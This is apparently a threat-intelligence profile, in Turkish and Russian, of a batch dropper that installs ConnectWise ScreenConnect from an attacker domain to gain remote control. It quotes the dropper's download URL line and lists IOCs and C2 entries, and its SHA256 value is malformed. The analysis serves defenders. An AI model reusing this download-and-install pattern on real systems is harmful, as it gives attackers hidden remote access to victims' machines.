Manuel Statik Analiz — ScreenConnect/ConnectWise RAT Kötüye Kullanımı | Tehdit: YUKSEK
Файл Kimliği
| SHA256 | e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1 |
|---|---|
| Имя файла | invitedGuests.bat ("davet edilen misafirler" sosyal mühendislik) |
| Размер | 1.052 byte (1KB!) — ultra küçük batch script |
| String Sayisi | 23 |
C2 Kontrollü ScreenConnect Kurulumu
LOLBAS Teknik: Meşru uzaktan destek yazılımını silah haline getirme!
set "MY_URL=https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Acce..." -- hbdhfijnsgjnds.top = 13 karakter rastgele .top TLD (C2 server) -- admin.* = yönetici panel subdomain -- /Bin/ScreenConnect.ClientSetup.msi = ConnectWise kurulum paketi -- ?e=Access → kurulum parametresi (özel erişim grubu) -- BAT → MSI indir → ConnectWise kur → saldırgana tam erişim!
Meşru RMM Kötüye Kullanımı
ConnectWise ScreenConnect, meşru bir uzaktan yönetim aracıdır (RMM). Saldırganlar bu tür araçları kendi sunucularından yükletip kurumsal sistemlere kalıcı uzaktan erişim sağlar. Antivirüsler meşru RMM araçlarını genellikle tehdit olarak işaretlemez. CVE-2024-1709 (CVSS 10.0) gibi kritik açıklar keşfedildi.
IOC
| SHA256 | e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1 |
|---|---|
| C2 | admin.hbdhfijnsgjnds.top (.top TLD) |
| Файл | invitedGuests.bat (1052 byte) |
ScreenConnect — Профиль вредоносного ПО
ScreenConnect ConnectWise meşru RMM araç kötüye kullanımı. invitedGuests.bat. BAT dropper + MSI kurulum.
Тип вредоносного ПО
RAT
Язык программирования
Proprietary
C2 Протокол
HTTPS
Целевые системы
Küresel Kurumsal
Возможности и поведение
Uzaktan Erişim & Kontrol
Keylogger
Ekran Görüntüsü
Webcam Erişimi
Dosya Yönetimi
Süreç Yönetimi
Komut Yürütme
Kalıcılık Mekanizması
Список IOC (1 индикаторов)
IOC — ScreenConnect
# DOMAIN
hbdhfijnsgjnds.top
| Тип | Значение | Примечание |
|---|---|---|
| domain | hbdhfijnsgjnds.top |
C2 Серверы (2 зарегистрированных серверов для этого семейства)
| Адрес | Тип | Порт | Протокол | Статус | Страна |
|---|---|---|---|---|---|
| hbdhfijnsgjnds.top | domain | 443 | HTTPS | inactive | — |
| hbdhfijnsgjnds.top | domain | 443 | HTTPS | inactive | — |
Адреса C2 предоставляются только на основе образцов вредоносного ПО, вручную проверенных командой KEYDAL. Коммерческое использование запрещено.